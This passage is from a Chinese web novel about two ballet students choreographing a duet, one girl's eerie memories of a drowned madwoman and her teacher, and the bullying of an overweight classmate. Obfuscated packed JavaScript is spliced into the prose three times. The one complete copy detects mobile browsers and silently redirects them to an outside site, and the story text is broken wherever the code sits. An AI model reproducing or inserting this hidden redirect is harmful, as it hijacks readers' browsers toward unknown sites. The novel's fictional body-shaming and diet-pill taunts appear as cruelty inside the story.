至于天下第一，唯一，这样的词语，放在“朋友”前面，珍星觉得这样太沉重了。 她这样的人，如果发现别人给予她的情感太厚重了，只会拒绝和逃离。 因为，她人生中最重要的事情，并不是感情，而是芭蕾。 “惠珠，也会很高兴吧。” 某种程度上来说，珍星并没有说错。 她看得出素熙是拥有很多情感的孩子，而惠珠是很需要情感的孩子，她们两个是最适合双向奔赴的。 可是，时间地点人物出了错，这种奔赴的可能性就会等于零。 所以，惠珠才会气喘吁吁地跑在她身后，小声地喊着珍星的名字。 她的声音那样小，在渐渐出现的蝉鸣前，变得微乎其微。 直到被石头绊倒，咚的一声摔倒，又一次可怜兮兮地趴在地上，看见珍星离开的背影。 “我拉你起来。” 这一次，出现在她面前的，是素熙。 珍星又一次离开了。 故事里，内向的主人公总会喜欢上解救自己的人。 那么，她的恨呢？ 有没有作者告诉过主人公，她该不该去恨那个总是不回头，明明可以拯救却一次次离开的坏蛋呢？ 若只写她的心动，就该知道，心动可以为爱，也可以是因为恨。 “谢谢你素熙。” “要我送你到学校门口吗？” 素熙依旧是这样想到什么就会立刻去做，但惠珠却不能这样纯粹地接受她的善意。 至少不是现在的她。 在校门口分别的惠珠鼓起勇气问了素熙一个问题。 “如果，我也像你们一样，我能成为素熙的朋友吗？” “惠珠你这样就很好呀，我们其实是一样的人。” 素熙几乎没有思考就给出了暖心的回答。 因为她就是这样美好的人，所以会显得不真实吗？ 现实明明就是不一样的，惠珠没有回应地逃走了。 手机又一次咚咚作响。 这次她忍无可忍地在网络帖子下面给出了回复。 “如果世界上真的有狐仙大人，如果她真的能实现我的一切愿望。” “我想要变瘦，就像她们一样，拜托，请让我变瘦。” 匿名论坛的回复贴刷新得很快，狐仙就算真的存在，也不一定能快速刷屏的千万条消息里看中她的那条。 “呀，干嘛向狐仙许这么low的愿望。” “明明不吃饭再多吃点减肥药就能做到的事情，也要来许愿吗？” “神经kkk” “网络那头的胖子，你要是用许愿的决心去减肥早就会变瘦了。” “胖子根本不是人类吧哈哈哈哈QAQ” 亲爱的狐仙，如果你真的什么都知道。 那你能不能告诉惠珠，为什么嘲讽比你的回应来得更快。 你根本，就不存在吧，狐狸。 惠珠说出了这样的话语，而狐狸是一种很小气的生物。 【狐狸台阶——数到29阶就实现你的愿望】 这样的帖子突然就被刷新出来，惠珠是第一个点进去的人。 新帖子的浏览量从0破1，没人注意到，很快这条阅读量为1的帖子消失了。 17. 青苹果 星期三是一个很平均的日子，对于普通高中的学生们来说是一种令人麻木的绝望日。 经历了周一周二的摧残，身心俱疲，可距离周五依旧很远。 不过，这对于练习狂魔珍星而言并不痛苦。 因为与惠珠的约定，周五见面之前就得先排好舞蹈动作。 虽然只有她和素熙两个人组队，但队形也得做一些变化处理吧。 提前来到练舞室的珍星闭上眼睛试图在自己的脑海里勾勒出蓝本。 深呼吸，练舞室开启的一扇小窗透出了雨后的空气。 留住了春风的味道，清晨格外凉爽，人也会变理智许多。 昨晚回到寝室后，珍星通过手机联系和素熙定下了这次的主舞曲，暂时先采用第二圆舞曲作为概念曲。 “我好像没有做过这种类型的曲子，所以很担心失败。” “没关系，我们可以先用一首经典的乐曲练习。” 珍星充分理解创作者的心情，就像自己现在闭上眼睛也无法做到流畅地舞蹈。 想要原创些什么，脚却不由自主地跳出了从前学习过的舞步。 大脑意识到这种不自觉地抄袭，身体就被控制着停下，最后呈现的结果就是珍星对着镜子疯狂揉着自己的脑袋。 “切拜，拜托了，脑子里能不能想出一些好点子。” 其实世界上的创造，都是基于已有发现上的叠加重复移除，总之是基于已有之物的发明。 但初次进行创作的人总会陷入这样的误区，总觉得自己能完全不借助任何前辈经验的方法和框架就能做出震撼世界的动作。 也许这种天才真的存在，但显然这不是珍星。 想得太多，让她直到素熙到来也只想出一个八拍，差不多八秒的动作。 “怎么了，我们珍星怎么开始叹气了。” 素熙提着食盒走进来看见的就是珍星揉着自己脸的可爱模样。 低头偷偷笑了一会儿她才正经辞色。 “想不出来。” 珍星也没有憋着，大方朝素熙递去了求助的眼神。 “完全不知道该怎么排，明明上课的时候，灵感超多。” 珍星试图为自己找一点看似合理的理由，也许是昨天淋了雨回来没有好好吹头发吗？ 想着想着注意力被室内散发出的食物香气吸引，扭过头看见素熙将打开盖子的餐盒递过来。 “别这么大压力，我们先吃早餐吧，” “珍星肯定又自己早早来没有吃早餐吧。” 素熙绑着自己的头发，对珍星露出了一点担心的严肃表情。 珍星只能张开嘴讪讪一笑。 “哇，好香的三明治。” “素熙你的手艺真的超好。” 她试图这样自然地转移话题。 素熙却只是看着她叹气：“真拿你没办法，芭蕾疯子。” “芭蕾疯子吗？我觉得这个概念不错诶。” 珍星被素熙一句无心的感慨激发了灵感，立刻站起来做了几组大跳跃接大翻滚的动作。 “疯子就像海上的波浪，一阵一阵，一会儿平静一会儿凶狠。” 珍星趴在地板上这样对素熙解释。 “为什么这样说？”素熙感觉这话中也许有个故事，来自釜山，珍星的家乡。 “没什么原因，只是我小时候有见过这种人而已。” “那岂不是很危险，你没有出事吧？”素熙变得紧张起来，随着珍星的回忆，她也不由得想起自己小时候差点被人贩子带走这件恐怖阴影。 “没有事，那个疯子没有伤害我。” “她对我还挺好的。” 珍星并没有展开说，又或许，这两句话就是她记忆里的全部。 那是个突然出现在村子里的疯子，没有什么过激行为，因此被允许留在村子里，每天做的事情也只有跟着珍星。 “你总跟着我做什么？” “报恩......报恩......” 披头散发的疯女人这样说了，但没人知道她到底要报谁的恩。 又要怎么报恩。 珍星对她最后的记忆是自己十二岁错过比赛回来的第二天，听说她吊死在了村子口的大榕树上。 “她一直在说，找到了找到了。” 母亲为她描述着恐怖的场景，而珍星只是不解。 但很快就抛之脑后了。 这不是个好听的故事，所以她不会告诉素熙。 不过，回忆起这件事情倒是让珍星开始幻想着自己是那个疯女人，试图寻找这种混沌的感觉。 恍惚间，她似乎看见了疯子被头发挡住的脸。 “啊——” 如同被惊雷击中，珍星被自己脑子里闪过的画面吓得跪在地上。 抬头时又看见那张脸，无辜又好奇，透露着未脱稚气的出世感。 “啊——” 珍星又一次叫起来。 “怎么了？” 素熙朝着她伸手，却被躲开，疑惑之下，素熙看见了珍星眼里的恐惧。 是在害怕自己吗？ 为什么。 素熙感到奇怪，但她仍然选择靠近珍星，捂住珍星的眼睛。 “不要怕，珍星，是我呀，素熙。” “珍星——珍星——” 不知过了多久，珍星才恢复正常，浑身全是汗，素熙就这样一直抱着她，一直安抚她。 然而，珍星的第一反应依旧是推开她。 “抱歉，我刚刚好像，怔住了。” 珍星不知为何突然陷在母亲口中描述的场景出不来，她始终看见吊死在树上的疯女人在朝她招手，一遍又一遍叫着她的名字。 恐怖的是，她那张珍星从未看见过也记不住的脸，此刻居然是素熙的模样。 这让她即使清醒了，也还是不由自主想推开素熙。 “没关系，是不舒服了吗？” “我们先休息一下吧。” 素熙的脸色明显是不高兴模样，即便已经成为了朋友还是会被拒绝，珍星这样的行为对她而言很难受。 即使她知道珍星就是这样的人，并不是在讨厌自己。 可还是无法知足，她总期盼着珍星能再为自己做些什么，改变什么。 好在珍星也并没有那么心大，她意识到了素熙的不开心，也知道原因出在自己身上。 不过，她无法直接告诉素熙自己的刚刚的经历。 那很奇怪，也令人不安。 “我们来跳舞吧，素熙。” 珍星擅长的只有这个，她虽然推开了素熙，此刻又是主动朝她而去。 弯下腰做出一个绅士礼仪，邀请着眼前美丽忧郁的少女。 “美丽的小姐，可以邀请你跳舞吗？” 素熙难得耍起了小性子，因为知道珍星在哄自己。 所以得寸进尺，享受着这种试探她底线的边缘快感。 她是坏孩子，珍星才是善良的好孩子，可是珍星自己不知道。 “请给我一个机会吧，美丽的小姐。” 珍星锲而不舍地追着在练舞室里小跑起来的素熙。 最后冲进了素熙的怀抱里，素熙这次没给她推开自己的机会。 “哼哼，本小姐可不会轻易给出机会呢。” 嘴上这样说，手上顺势拉住珍星两只手，跳起了联谊舞步，很基础的舞会华尔兹。 素熙主动跳起了主步，珍星也没有与她争夺主动权，乖乖跟着她跳起来。 鲜花总是争奇斗艳，此刻珍星甘愿成为绿叶。 而素熙并不在乎她是什么，只要她在自己手中就好。 一舞方休，珍星的眼睛亮晶晶的，显然她又有了灵感。 其实想不出来好的舞步，最大原因是因为没有想好表演的故事。 芭蕾跟其他舞蹈不同的点在于需要表演的主题更加实质，也往往更需要一个好的故事来衬托，和舞台剧不一样的点在于演员们的腿上功夫优于台词功底。 当然，优秀的表演者能做到二者兼顾，但芭蕾更看重叙事性这一点毋庸置疑。 “红白王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这样的话，珍星真的创造了一个很好的故事。” 素熙以为自己对于真爱的定义是最诚恳透彻的了，可是和珍星比起来，她似乎总是很幼稚。 当她在纠结爱情的双方的身份、性别，珍星看见的是无关乎这些条件，每个人都有可能犯出的错误。 素熙想着又突然高兴起来。 所以，在珍星眼里，相爱的双方重要的不是这些世俗所规定好的条件，而是真诚与否。 “珍星觉得世界上会有相爱的双方都是女性这样的可能吗？”素熙惴惴不安地提问。 珍星递给她一个奇怪的眼神，似乎不解她为什么问这个与编舞没什么关系的问题。 “我记得上次我们看过的歌剧魅影里说过，爱是一时兴起和漫长的拉扯，即使痛苦有余，却也觉得甜蜜难忘。” “总之，爱是不讲道理的产物。” “所以，相爱的双方都是女性，这样的事情。” 素熙就这样痴痴地望着珍星，她的双眼停在珍星的嘴唇上，红苹果一样的嘴唇。 她原本只是想更好地听清楚珍星的话。 现在却只有一个想法，珍星是白雪公主吧。 “这样的事情，很正常吧。” 其实珍星也说不准这些事情，总觉得离自己很远，她也几乎没想过这种事情。 不过，芭蕾是包容万物的舞蹈。 所以，她觉得自己的话，应该没说错。 只是回头去看素熙时，她已经完全呆住了。 “素熙，素熙？” “哦。嗯。我在。” “你还好吗？是不是练习太久，肚子饿了。” 她看素熙捂着肚子，自然而然地联想，于是提一起去吃饭。 素熙很难形容自己的感受，有一部分是饿。 在饥饿的感受下，更深沉地在渴求，她不知道自己的所求是什么。 “珍星换了新的洗发露吗？青苹果味，好香。” 也许素熙的所求，是一颗青苹果。 珍星很随意地回答：“这个嘛，是最近小卖部打折的商品。” “素熙你想要吗？” “想要。” 不是洗发露，是青苹果本身。 18. 怪梦呓语 湛蓝的海面映出我黑色的梦，我伸手去捞水中的月亮，却打捞起一颗头骨。 是谁的呢？牙齿张合关闭，发出桀桀的声音。 “我找到你了。” 我便知道，我又在做梦了。 记忆中的小时候对于珍星而言，大多是漫长的重复。 身为家中唯一的孩子，受到宠爱是当然的，但这得取决于这个家的情况。 即使父母爱她，可珍星也早早学会了和她们一起去赶海。 一起在海边的市场贩卖鱼虾。 这也没什么不好，来来往往的人之中，珍星会认真地看每一个经过的人。 “也许这些人之中就有着长大的我。” “我要好好挑选我的未来。” 小小的珍星这样对妈妈说，引得家人们笑起来。 “这样吗。那一定要好好看。” “我们珍星，以后一定会成为了不起的大人。” 母亲将她高高举起，珍星在这样的高度上，看见了海上漂浮而来的人。 “偶妈，海边，海边漂来一个人。” 是个女人。 乌黑的头发遮住她的脸，珍星被大人们挡住，没能上前看清她。 再见她，是舞蹈老师突然来到岛上之后的事情了。 说起这位老师，美丽大方，虽然严厉却很善良。 她说她自小在村子里长大，厌倦了城市，于是回来。 可奇怪的是，没人记得她是哪家的孩子。 就像那个被大家救上来的女人，是突然出现的。 而她们之间，还有个共同点，叫做宋珍星。 “珍星，你在想什么呢？” 素熙的手在珍星眼前上下扫着，珍星缓慢地转动着眼睛，视线却并未看着她。 两个人穿着练功服正在串联昨天编排好的舞蹈动作。 第二圆舞曲神秘又悠远的乐声在房间里回荡，犹如被推开的波浪。 一阵阵一层层地将舞者的情绪引入一场华丽诡秘的宴会上，来到这里的人，似乎必须要一直跳舞，一直跳舞。 不停旋转的珍星就仿佛迷失在其中，约定好的十六道旋转，不知不觉已经超过了既定的圈数。 一开始素熙只当珍星是有了新的灵感，可当曲子都要放完了，珍星仍然没有停下。 素熙意识到了不对劲。 “珍星——” 收音机被按下暂停键，素熙的动作也不只是轻轻拍，而是重重地掐住珍星的肩膀。 这才终于让她停了下来。 素熙看见了珍星失神的双眼。 “珍星，你还好吗？” 她那张因为担忧而紧蹙眉头的脸，依旧美得不可方物。 映进了珍星的眼里。 珍星的眼睛里倒映着素熙。 拥有黑色长发的素熙吗？ “你的头发好长好柔顺，我也想拥有你这样的黑头发。” “好漂亮。” 村里那个不允许别人接近，也不会容忍别人接近的疯女人，这时却安静地坐在田边的树桩上。 任由着一个小女孩抚摸她的头发，那是小珍星。 “我帮你梳头好不好。” 小珍星借由帮她梳头发的机会，终于撩开了她的头发。 “你喜欢什么样的发型？” 疯女人摇晃着头，似乎在回答她，喉咙里嗬嗬发不出准确的口语。 “那就给你梳跟我一样的好不好？” “我可喜欢这个了。” 被她从家里偷偷带来的梳子在疯女人长长的头发上一寸寸落下，十分顺畅。 “让我看看你。” 小珍星绕到她身前，预备欣赏自己的作品。 这是一个不算精致，甚至略显松垮的盘发。 “喜欢吗？”珍星问她。 “莫？”素熙发出疑问。 下一秒，珍星的眼里有了焦点。 视线停在素熙为了练舞方便随手盘起来的发顶。 “我，没事。刚刚走神了，对不起。” 珍星躲开素熙关切的眼神，却怎么也掩饰不好自己的心不在焉。 她不知道该如何说，自从昨天提起那件事之后，她做了一整夜的梦。 不得不回忆起关于疯女人那些为数不多的相处日常。 没由来亦是没头没尾。 素熙张开嘴想说些什么。收音机却自动播放起她们正在练习的曲子。 这样奇异的情况，两个人都无暇顾及。 甚至珍星顺势说：“我们继续练习吧，下午不是还要去找惠珠吗。” 其实时间很宽裕，金老师要到下周一才检查合作表演，而且也只是初筛而已，即便被老师骂了或者指点，也只是为了更好改进。 正式表演在一个月后，也是暑假前的最后一次考试。 珍星突然感慨，马上就要三年级了吗？ “好。”素熙选择接受珍星的转移话题的行为。 但还是没忍住说：“你刚刚一直转圈，我怎么叫你也停不下来。” “我很担心你，你真的没问题吗？” 珍星看着她，有一种感觉，素熙会包容她的一切，也能抚平她不安的内心。 可她，还是说：“没关系的，应该是没休息好。” 言罢，珍星继续梳理动作，素熙有些郁闷地坐在钢琴前。 收音机就在那个时候卡带了。 “噗嗤”珍星自顾自地笑起来了。 “为什么突然笑了。”郁闷的素熙闷闷地出声。 “我想起来，第一次和你说话，就是因为这个总喜欢出问题的收音机。” 珍星回顾起过去的糗事，她并未注意到素熙复杂的心情。 但却机缘巧合般说：“现在想想看，和素熙你成为朋友，真是一件很好很好的事情。” 只这一句话，便让素熙的心情阴雨转晴。 “珍星也学会了说这种肉麻的话。” 珍星笑着反驳说自己难得这么诚恳，素熙居然这么不给自己的面子嘛。 “好啦，算你嘴甜。” “我用钢琴来帮你伴奏，你继续跳吧。” 两个人昨天定下了故事后也定好了角色定位，珍星饰演有女扮男装情节的白王后，素熙则是出逃在外的红王后。 至于国王的角色，两个人决定运用旁白待过。 从头到尾只活在她人嘴里的国王，起于流言终于流言，不出现反而充满了想象。 当然，最重要的原因，只是因为她们只有两个人。 而现在珍星正在更细致地编排舞会桥段的舞蹈。 要有一开始符合场景的华尔兹，然后加入叙事移动。 过渡到红白王后相遇对峙的情节，一开始双方并未认出对方，顾忌到两国明面上的关系，显得剑拔弩张。 然后，红白王后在交换舞中轮排到一起，两人一起跳舞，白王后下意识切换成男步。 熟悉的小动作令红王后产生怀疑，并在接下来的质问中洞察了对方的身份。 红王后用二人初遇时的舞蹈试探对方，白王后毫无察觉，由此被红王后识破。 在这里就需要有一个舞蹈高潮，动作要变得激烈，珍星犹豫着是否要加入更情景化的动作，加入更多情绪。 例如红王后生气甩开对方，白王后因此摔倒在地，哀求着拉住对方的裙摆。 圆舞曲恢弘大调中见缝插针而入的一些质感清脆尖锐的乐器让这场舞会从开头便预示了危险，华而不实。 音乐声渐渐高涨，珍星按照预想好的方式开始演绎。 只是跳着，跳着，她突然听不见素熙弹奏的钢琴声。 世界陷入静寂，她惊慌，却不动声色。 直到一两声“布谷布谷”，杜鹃鸟的啼叫，终于拉动世界重新运行。 钢琴声再度响起，布谷鸟停在矮房子的窗台上。 小鸟的眼珠子里倒映出室内的环境。 井井有条但一眼就能看完的房子里，女人坐在钢琴上，小姑娘坐在她身边。 “珍星，不要想那么多。” 女人拉起她的手掌，耐心地将她的指头放在黑白琴键上正确的位置。 “不要着急按下去，你可以先想一想，这里的声音。” 秀气美丽的女人轻轻点了点小孩的脑门。 “想象这里有一架钢琴，它会在你按下现实里的钢琴之前发出声音。” “因此你不用想其他的，只要专注地想这个就好了。” 小珍星看着老师今天的发行，是慵懒闲散的盘发，她不由得想起上次为疯女人扎的头发。 明明是相似的发型，可老师看起来更加好看了。 而疯女人......珍星的思考出了错，手下的琴键再次按错。 无序的琴音，被拉长出混乱的感觉。 “对不起，老师，我又弹错了。” 珍星不好意思地低下头，她想错了，也弹错了。 “没事，我们还有很多时间，我会慢慢教你。” 老师很温柔，除了舞蹈之外的事情，她总是很有耐心。 只有舞蹈，她会要求珍星绝不能放松。 但最后，当第一次参赛却铩羽而归的晚上，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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借由王后的台词，素熙淡淡地说出口，她没有笑，带着贵族的压迫感凑近。 白王后只是温柔地笑起来，两人静静对峙。 素熙看着珍星，蓦地想起来，早上来学校的时候，班上一个女生突然找到她。 “素熙，你和我组队吧。” “诶？你不知道我已经和珍星组队了吗？”素熙委婉地提示着对方。 哪知那位女生听后十分不屑地笑起来。 “我知道啊，可是珍星怎么配和你组队。” “她只不过是靠着某人写的推荐信，才能从偏远渔村来到我们学校的。” “推荐信？” 素熙有点好奇，但并不代表她会任由对方继续贬低珍星。 “就算是推荐信，也与你无关，我希望你不要再说这种话。” “我也不会和你组队。” “靠近她的人是不会有好下场的。” “你知道她从前的舞蹈老师吗，以前班上还有一个跟她来自同一个地方的人，她亲口告诉我，宋珍星克死了她的老师。” 女生阴恻恻地笑起来，恐吓般问素熙。 “你也想被她克死吗？” “你在说什么胡话，好了，我要走了。” 素熙露出无语的表情，认为对方疯了，毫不留恋地离开。 音乐结束，素熙看着再次转着圈的珍星，露出了苦恼的笑容。 “我更担心你啊，珍星。” 她抱着对方，试图让珍星停下来。 “我找到你了。”双眼失神的珍星慢慢地说出这几个字。 “我？” “我是谁呢？”素熙配合着珍星的呓语，好脾气地问她。 珍星追随着她转头，终于将目光放在她脸上。 素熙却并不觉得珍星在看自己，这样让她对珍星接下来说出来的话不觉意外。 “老师。” “叮！回答错误。” 素熙笑眯眯地陪她玩起来，没办法唤醒珍星，她似乎也只能这样做了。 故障的收音机又一次播放起第二圆舞曲。 素熙于是交换舞步，牵引着珍星和她再一次跳起来。 她一点也不在意珍星身上的传闻，也并没有执着于珍星现在告诉她自己的故事。 因为啊—— “我们还有很多时间哦。我会慢慢地等着珍星你注意到我。” 【我黑色的梦，被海风吹散，成了海上杀人的雾气】 【那么，凶手是我，还是大海呢？】 19. 口味 你犯的癔症，也许是我对你种下的种子，不过，你也许并不想看见开花结果的那天。 珍星似乎对自己说过的话毫无印象了。 当素熙发现这一点时，她选择不动声色地掩盖住这一点。 “我刚刚是不是做了什么不好的事情？”珍星再一次从幻觉中苏醒，向素熙这样提问。 素熙温柔看着她，拿出了背包里的纸巾擦掉她脸上的汗水。 动作很轻，神色如常：“没有啊，只是觉得珍星你好像有点累了。” 珍星顺着她的话点头。 “感觉肚子有点饿了。” “是吗，小卖部上了新口味的紫菜包饭，我们也去买一个吧。” 素熙挽起她的手，开心地推着珍星的肩膀走出去。 两个人在更衣室换着衣服，素熙先一步换好，在窗户旁倚靠着向下望。 看看风景，看看树与草，还有那方长满青苔的台阶。 “一，二，三......”她漫无目的地伸出手指数起来。 “在做什么？” “没有啊，只是在等珍星你换好衣服。” 素熙转过身来，面带笑容，似乎总是这样没烦恼。 她朝着珍星扑过来，精准地牵住她的手。 “夏天真的到了。” “我听见了蝉鸣声。” 感慨的同时，她的余光再次掠过长满青苔的台阶。 想象着绿色波浪下密密麻麻的虫子，也许是蚂蚁也许是不知名的小虫子，名为秘密。 “所以新上的西瓜味果汁，我们也买一罐吧。” “好吗？”素熙嘟嘟囔囔地和珍星讨论着午饭的搭配。 然而珍星本人对于这些似乎只要能够满足最基本的需求就可以。 两人的对话于是总是“好吗”“好的”“可以嘛”“可以”。 于是总有人会偷偷议论，素熙怎么会对这样无趣的人感兴趣。 又在想，她究竟能够撑多久，才会对成为宋珍星朋友这件事情感到厌倦。 但这些话，实际上是无法传到当事人耳朵里的，一个不会去听，一个听了也当没听见。 珍星不怎么喜欢食堂里的氛围，而素熙则是更喜欢吃自己带的便当。 偶尔如今天这样没有准备午餐。 她们于是将小卖部买到的食物拿到了学校里稍微僻静一些的地方共同分食。 素熙会告诉珍星自己觉得有意思的见闻，而珍星会静静听她说。 真是一派岁月静好。 与此相反的食堂里，下午要和她们见面的惠珠就显得很糟糕了。 她的餐盘放着一点点绿菜和一点点米饭。 不远处三五成群坐在一块的女生，用不大不小的声音揣测着。 “她吃那么点能饱吗？” “你关心一头猪吃多少干什么，怎么，你觉得她可怜？” “谁关心她了，我是觉得她奇怪，装什么小鸟胃。” “就她那食量，敢不敢赌五块钱，不出五分钟她就要去加餐。” 惠珠和正对面一个说的上头的女生对上视线，真是奇怪，在那一秒面目狰狞的女生能瞬间切换成友好和善的表情。 因为她有一张并不肿胀的脸，所以，看起来很善良。 只要惠珠没有长耳朵。 而下一秒，那女生无比激动地说。 “我赌十块，用不了五分钟，三分钟之内她一定会去打饭。” 听见这样的奚落，即便是无法克制自己食欲的惠珠也下定决心她不会去盛饭。 她不会让她们这样笃定自己，这样嘲笑自己。 可惠珠并不知道，女生们嬉笑的不只是她的生理本能。 更是，她倒霉的命运。 “呀，金惠珠，你怎么在这里。” “好久不见，我好想你。” 是班长崔英美，惠珠的双眼眨了又眨，瑟缩着弓起身子，试图躲避什么。 但短发女生眼疾手快地拿起她的餐盘，淋在她的头上。 “我还得感谢你，让我放假了一段日子。” “你真好。” 崔英美伸手抓了抓她的头发，让汤汁充分混合进惠珠的头发里。 上一次宋珍星的挺身而出，还真让路过的老师抓到崔英美欺负人的场景。 她被勒令在家思过，今天才解除禁令。 不过诚如她对惠珠说的那些话，这对她而言并不是反思，只是放假而已。 崔英美并未露出嫌恶的表情，只是一如既往地用伪装的笑容，看起来十分友好，手却在惠珠的校服外套上擦来擦去。 “真是抱歉，你现在需要重新去打饭了。” “多吃一点吧，你不是喜欢的吗？” 她也注意到惠珠特地少打的菜，看出她试图改变的心思。 “可是猪就是猪，改不了的呢。” 惠珠就这样低着头任由她欺凌，她其实也想反抗。 可是，就算反抗了又能怎样呢？ 只会迎来崔英美更加猛烈的报复，而自己能做的，好像也只有逃跑。 跑到一个安全的地方，没有人能找自己的地方。 惠珠于是来到了自己的秘密基地，那间被她装饰过的地下室。 打开门的瞬间，那种自以为九死一生结果却还是死的感觉涌上心头，简单点来说，就像被淋了一盆冰水。 这里有人。 也许惠珠该感激在这里的人是珍星和素熙，而不是其他会嘲笑欺负她的人。 可事实上，她觉得一样痛苦。 “惠珠你......来了。”素熙总是第一个对她释放善意的人。 她并没有第一时间发现惠珠的异样，这也是因为门口太暗，看不清楚她此刻的狼狈。 惠珠觉得，最好的事情应该是她立刻背过身离开。 但她还是走进来，让素熙看见自己可怜的模样。 说着那些完全能猜到的关切之语。 接受关心和被可怜对于惠珠而言其实并不是难堪的事情，甚至还会让她感到高兴，至少这样能证明这世上还有人在意着她。 越可怜我，就越能被看见，她的心情呈现出一种扭曲的认知。 “哦莫！怎么会这样。” 素熙拿出纸巾为她擦拭着脸上的污渍，珍星也接过纸巾一起帮忙。 惠珠被她们拉在沙发上，乖乖地任由两人操纵着她的身体。 “班长回来了。” “她讨厌我。” 惠珠陈述着一个老套的事实，她不会说为什么自己会被讨厌。 而是默认，自己就是恶心的存在。 但不知为什么，她并不希望被看见现在的狼狈。 惠珠不知道不希望看见自己的那个人该是素熙还是珍星。 当素熙斟酌着用词和她交流，生怕说出了让她伤心难过的事情时，珍星总是冷冰冰地突然冒出一句话。 “所以，你没有吃饭吗？” “那你现在，要吃点东西垫垫肚子吗？” 珍星将手里的饭团塞过来，似乎不准备等她回应，自顾自地给她。 她总是不够柔和，做什么之前也不会说理由。 这样就让人分不清她的善恶真诚，因此会讨厌上她，总觉得她太过高傲。 只是无人意识到，惠珠的确需要这个饭团，她饿了。 她很饿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644430|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “下午我们约在见面，所以我和素熙就提前来了。” 分明惠珠并没有责怪，也不敢责怪她们为什么会在这个时刻出现在这里。 可珍星好像意识到了，所以她对惠珠解释。 素熙疑惑问她：“怎么突然说起这个了。” 素熙没有意识到惠珠的那一丝幽怨，就算真的看出来了，也并不在乎。 因为，她并没有欺负过惠珠，没理由惠珠不去恨那些真正欺负她的人，而讨厌自己的吧。 所以，更没必要解释，她们出现在这里的原因。 本来就是约好的呀。 “我们应该提前发个短信告诉你的，不过，我们好像并没有你的号码。” 珍星继续解释，也拿出了自己的手机，明晃晃放在惠珠面前。 惠珠感到错愕，更意识到了自己的心因为珍星的话平静下来了。 但她没有接下，直到素熙也拿出自己的手机，两部手机都放在她手里，不容拒绝。 “还有我，我也要存下惠珠的号码。” 素熙看起来并不在意这件事情，惠珠却还是会偷瞄她。 真的不在意吗？ 珍星的手机号码并不是她主动给的，而是素熙要的。 在那个突然的夜晚，素熙决定去找珍星。 效仿浪漫爱情故事里的桥段，她用小石子敲打着珍星的窗户。 “珍星——珍星——” 也不算太深，她的声音却也不大，至少珍星没有注意到自己的动向。 素熙打量着高度，又作出了大胆的决定。 她爬上了墙上的水管，荡到窗台上，用手用力拍着窗户，这样大的声响，就算当成暴风雨也无法忽视。 穿着睡裙的珍星拉开窗户，完全没想到，窗外是素熙。 “快拉我一把，珍星。” 素熙半是可怜半是请求地说，双手艰难地扒拉着边缘。 珍星仅仅愣住一秒钟，立刻上去伸手帮忙。 她的语气中焦急中带着一些怒气。 “你怎么能这样上来了。” “要是摔下去怎么办。” 那时的素熙翘着嘴角，撑在她的肩上。 “因为我没有珍星的电话，可我又很想马上见到你。” 她丝毫不觉这理由有多荒唐，但珍星却气得瞪她。 “就算有号码。你也看不见我呀。” “怎么能这样不珍惜自己的生命健康！” 素熙看出珍星对自己的关心，那点后知后觉的害怕，完全化为了一种满意。 是这样的道理，越可怜，越危险，就越会被看见。 “不要生气了，我只是想你了。” “我只是很想你。”她重复了一遍。 素熙关上窗户，跟着珍星，坐在床上，拉住她的裙角道歉。 可怜兮兮的表情让人心软。珍星也对她没了话说。 所以，素熙需要这样以身置险才能得到的号码。 为什么，惠珠可以轻易得到呢？ 素熙的确没有露出任何不满的表情，一点点不好的情绪都没有泄露。 可是，秘密，如青苔下密密麻麻的爬虫和虫卵般早就蛀蚀了人的心底。 “要喝果汁吗惠珠，我这里有西瓜口味的哦。” 在买这个口味时，珍星说不要，因为西瓜味和西瓜根本不是一种味道。 可素熙还是买了两瓶，试图哄着珍星喝下，珍星自然拒绝了。 多的这一瓶给了惠珠，似乎也是一种必然。 “和我同样的口味哦。”素熙指着西瓜的标志，不知是在向惠珠推荐，还是暗示。 惠珠，你也和我一样的口味吗？ 20. 西瓜 想不起分别那天小女孩之间互相说的是什么。 结束掉糟糕的釜山研学之行的素熙在回家后缠着妈妈给她买西瓜。 她只记得这个。 “妈妈求求你了，可以给我买一个西瓜吗？” “一整个吗？你能吃完吗？” 母亲并没有直接拒绝她的请求，只是站在实际角度问她。 “你之前不怎么喜欢吃这个吧。” “怎么突然想要的了？” 小素熙被母亲的话循循善诱着没了一开始的坚持。 她在想，是啊，为什么呢？ 夜晚就做了梦，梦见自己紧紧拉着一个女孩不放。 “我、我不想和你分开。” “姐姐，你就不能跟我一起回家吗？” 对面的小女孩好像叹了一口气，她像个小大人般摸摸素熙的头。 “懂事的孩子才会被喜欢哦。” “乖乖跟你妈妈回家，姐姐我给你分享一个超好吃的东西。” “你回家了替我吃好不好？然后等下次假期我就来找你。” “真的吗？” 素熙高兴她的让步，但还是要得到一个肯定的保证。 “嗯！现在你把脑袋凑过来，我来跟你分享秘密美食。” 两个圆圆的脑袋撞在一起，梆梆作响，小素熙揉着自己的脑袋哎呦哎呦叫起来。 但还是不愿意离开。 “哈嘿嘿嘿。”小姐姐笑起来，捧住她的一只耳朵。 “是我的老师告诉我的，那就是在夏天的时候把西瓜放在凉水里泡一会儿。” “然后把西瓜切开在中间挖一个洞放上香蕉吃，味道就像在吃西瓜慕斯。” 说着说着，小姐姐的眼里充满了光。 “我都没有吃过西瓜慕斯，你帮我回去吃好不好？” 素熙郑重地点头，如同接受了一个重大任务。 一步三回头的她被送到了村子口，素熙妈妈正在那里等她。 “要来找我呀！” 